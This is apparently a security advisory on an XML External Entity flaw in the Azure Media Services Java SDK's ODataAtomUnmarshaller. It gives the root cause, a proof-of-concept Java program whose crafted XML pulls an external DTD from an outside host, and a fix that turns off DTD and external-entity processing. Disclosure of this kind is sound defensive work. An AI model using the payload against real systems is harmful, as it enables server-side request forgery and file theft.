The com.microsoft.windowsazure.services.media.implementation.ODataAtomUnmarshaller class is vulnerable to XML External Entity (XXE) injection. This is because when parsing XML input, the underlying JAXB Unmarshaller is not securely configured by default to disable external entity processing. An attacker can submit a specially crafted XML document containing references to external entities, which could lead to ar Arbitrary File Read, Server-Side Request Forgery (SSRF), or Denial of Service (DoS) attacks.
- Vulnerable Component:
com.microsoft.windowsazure:microsoft-azure-media - Vulnerability Type: XXE (XML External Entity Injection)
- Related Links: https://github.com/Azure/azure-sdk-for-java/blob/90c83ca0d0fc6ed094214d3eef698697f66fdc11/sdk/mediaservices/microsoft-azure-media/src/main/java/com/microsoft/windowsazure/services/media/implementation/ODataAtomUnmarshaller.java#L4
The root cause of the vulnerability lies in the constructor of the ODataAtomUnmarshaller class. In this constructor, an Unmarshaller instance is created via JAXBContext.newInstance and atomContext.createUnmarshaller().
// com.microsoft.windowsazure.services.media.implementation.ODataAtomUnmarshaller.java
public ODataAtomUnmarshaller() {
try {
JAXBContext atomContext = JAXBContext.newInstance(EntryType.class, FeedType.class, ContentType.class,
LinkType.class, PropertiesType.class);
// Create Unmarshaller with default configuration, which does not disable external entity parsing
this.atomUnmarshaller = atomContext.createUnmarshaller();
} catch (JAXBException e) {
// This should not happen
throw new RuntimeException(e);
}
}By default, Java's JAXB implementation does not restrict the parsing of external entities, thus opening the door for XXE attacks.
The trigger point (Sink) for the vulnerability is the unmarshalEntry method, which takes an InputStream and processes it directly using the insecure unmarshaller created earlier.
Sink: com.microsoft.windowsazure.services.media.implementation.ODataAtomUnmarshaller.java:153-156
public EntryType unmarshalEntry(InputStream stream) throws JAXBException {
JAXBElement<EntryType> entryElement = this.atomUnmarshaller.unmarshal(new StreamSource(stream), EntryType.class);
return (EntryType)entryElement.getValue();
}When the unmarshaller processes an XML stream containing malicious external entity declarations, it attempts to resolve these entities. This can lead to the execution of attacker-specified actions, such as accessing local files or making requests to internal network services.
This code constructs a malicious XML string that includes an entity declaration pointing to an external DTD. This string is then passed to the vulnerable unmarshalEntry method.
// src/main/java/com/example/Main.java
package com.example;
import com.microsoft.windowsazure.services.media.implementation.ODataAtomUnmarshaller;
import com.microsoft.windowsazure.services.media.implementation.atom.EntryType;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
public class Main {
public static void main(String[] args) {
try {
// Create a malicious XML payload referencing an external DTD
String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!DOCTYPE entry [\n" +
" <!ENTITY % dtd SYSTEM \"http://58dea55625.ddns.1433.eu.org./test.dtd\">\n" +
" %dtd;\n" +
"]>\n" +
"<entry xmlns=\"http://www.w3.org/2005/Atom\">\n" +
" <id>test-id</id>\n" +
" <title>Test Title</title>\n" +
" <updated>2023-04-01T12:00:00Z</updated>\n" +
"</entry>";
InputStream inputStream = new ByteArrayInputStream(maliciousXml.getBytes());
ODataAtomUnmarshaller unmarshaller = new ODataAtomUnmarshaller();
// Attempting to unmarshal the malicious XML will trigger the XXE
unmarshaller.unmarshalEntry(inputStream);
System.out.println("XML parsing completed successfully.");
} catch (Exception e) {
System.err.println("An unexpected error occurred: " + e.getMessage());
}
}
}When unmarshaller.unmarshalEntry is called, the XML parser attempts to fetch the DTD from the specified URL (http://58dea55625.ddns.1433.eu.org./test.dtd). This confirms the possibility of SSRF, which is a direct consequence of the XXE vulnerability.
To mitigate this vulnerability, the XML parser must be configured to disallow the parsing of external entities. This can be achieved by using XMLInputFactory and explicitly disabling support for external entities.
It is recommended to modify the unmarshalEntry method as follows:
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamReader;
import javax.xml.transform.stream.StreamSource;
import java.io.InputStream;
// ... in ODataAtomUnmarshaller class
public EntryType unmarshalEntry(InputStream stream) throws JAXBException {
try {
XMLInputFactory xif = XMLInputFactory.newFactory();
// Disable external entities
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// Disable DTD support for stronger protection
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader xsr = xif.createXMLStreamReader(stream);
JAXBElement<EntryType> entryElement = this.atomUnmarshaller.unmarshal(xsr, EntryType.class);
return entryElement.getValue();
} catch (Exception e) {
// Wrap exception
throw new JAXBException("Error unmarshalling entry due to: " + e.getMessage(), e);
}
}By wrapping the input stream with a securely configured XMLStreamReader, we can ensure that no external entities or DTDs are processed during unmarshalling, effectively preventing XXE attacks.